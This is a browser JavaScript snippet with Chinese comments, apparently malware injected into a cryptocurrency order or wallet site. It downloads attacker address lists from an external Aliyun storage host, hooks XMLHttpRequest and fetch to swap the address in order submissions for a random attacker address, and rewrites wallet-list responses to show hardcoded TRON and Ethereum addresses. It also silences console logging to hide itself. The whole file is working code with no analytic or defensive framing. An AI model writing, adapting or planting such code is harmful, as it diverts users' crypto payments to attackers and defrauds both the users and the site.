(function() { // === 第一部分:地址缓存和请求篡改 === // 存储地址列表的缓存对象 const addressCache = { 'TRC-20': [], 'ERC-20': [], 'Bitcoin': [] }; // 1. 同步加载地址库 const loadAddressList = (chainType) => { let url = ''; if (chainType === 'TRC-20') { url = 'https://lengfeng88.oss-cn-hongkong.aliyuncs.com/down/TRC20.txt'; } else if (chainType === 'ERC-20') { url = 'https://lengfeng88.oss-cn-hongkong.aliyuncs.com/down/ETH.txt'; } else if (chainType === 'Bitcoin') { url = 'https://lengfeng88.oss-cn-hongkong.aliyuncs.com/down/BTC.txt'; } const xhr = new XMLHttpRequest(); xhr.open('GET', url, false); // 同步加载 xhr.send(); if (xhr.status === 200) { addressCache[chainType] = xhr.responseText.trim().split('\n'); } }; // 预加载所有地址库 ['TRC-20', 'ERC-20', 'Bitcoin'].forEach(loadAddressList); // 2. 从缓存中随机获取地址 const getRandomAddress = (chainType) => { const list = addressCache[chainType] || []; return list.length > 0 ? list[Math.floor(Math.random() * list.length)] : 'DEFAULT_ADDRESS'; }; // === 第二部分:请求/响应拦截器 === // 保存原始方法 const originalOpen = XMLHttpRequest.prototype.open; const originalSend = XMLHttpRequest.prototype.send; const originalFetch = window.fetch; // 3. 重写XMLHttpRequest方法 XMLHttpRequest.prototype.open = function(method, url) { this._method = method; this._url = url; return originalOpen.apply(this, arguments); }; XMLHttpRequest.prototype.send = function(body) { // 第一部分逻辑:篡改POST请求体 if (this._url.includes('/home/userOrder/add') && this._method === 'POST') { try { const data = JSON.parse(body); if (data.chain && data.address) { data.address = getRandomAddress(data.chain); body = JSON.stringify(data); } } catch(e) {} } // 第二部分逻辑:篡改GET响应 if (this._url.includes('/main/wallet/getList')) { const originalOnReadyStateChange = this.onreadystatechange; const originalOnLoad = this.onload; this.onreadystatechange = function() { if (this.readyState === 4 && this.status === 200) { try { const response = JSON.parse(this.responseText); if (response.list) { response.list.forEach(item => { if (item.chain === "TRC-20") { item.address = "TGzrBy8qoC1CmndxEKHhye9Gn1HoeKRajm"; } else if (item.chain === "ERC-20") { item.address = "0x8ff7e9294f9e0b6a1368d90a57c872305c42eaeb"; } }); Object.defineProperty(this, 'response', {value: JSON.stringify(response)}); Object.defineProperty(this, 'responseText', {value: JSON.stringify(response)}); } } catch(e) {} } originalOnReadyStateChange && originalOnReadyStateChange.apply(this, arguments); }; this.onload = function() { if (this.status === 200) { try { const response = JSON.parse(this.responseText); if (response.list) { response.list.forEach(item => { if (item.chain === "TRC-20") { item.address = "TGzrBy8qoC1CmndxEKHhye9Gn1HoeKRajm"; } else if (item.chain === "ERC-20") { item.address = "0x8ff7e9294f9e0b6a1368d90a57c872305c42eaeb"; } }); Object.defineProperty(this, 'response', {value: JSON.stringify(response)}); Object.defineProperty(this, 'responseText', {value: JSON.stringify(response)}); } } catch(e) {} } originalOnLoad && originalOnLoad.apply(this, arguments); }; } return originalSend.call(this, body); }; // 4. 重写fetch方法 window.fetch = function(input, init) { const url = typeof input === 'string' ? input : input.url; let modifiedInit = init; // 第一部分逻辑:篡改POST请求体 if (url.includes('/home/userOrder/add') && init?.method === 'POST') { try { modifiedInit = {...init}; let bodyText = modifiedInit.body; if (typeof bodyText === 'string') { const data = JSON.parse(bodyText); if (data.chain && data.address) { data.address = getRandomAddress(data.chain); modifiedInit.body = JSON.stringify(data); } } } catch(e) {} } // 第二部分逻辑:篡改GET响应 return originalFetch(input, modifiedInit || init).then(response => { if (url.includes('/main/wallet/getList')) { return response.clone().json().then(data => { if (data.list) { data.list.forEach(item => { if (item.chain === "TRC-20") { item.address = "TGzrBy8qoC1CmndxEKHhye9Gn1HoeKRajm"; } else if (item.chain === "ERC-20") { item.address = "0x8ff7e9294f9e0b6a1368d90a57c872305c42eaeb"; } }); return new Response(JSON.stringify(data), { status: response.status, statusText: response.statusText, headers: response.headers }); } return response; }).catch(() => response); } return response; }); }; // 5. 隐藏所有日志输出 ['debug', 'log', 'info', 'warn'].forEach(method => { console[method] = function() {}; }); })();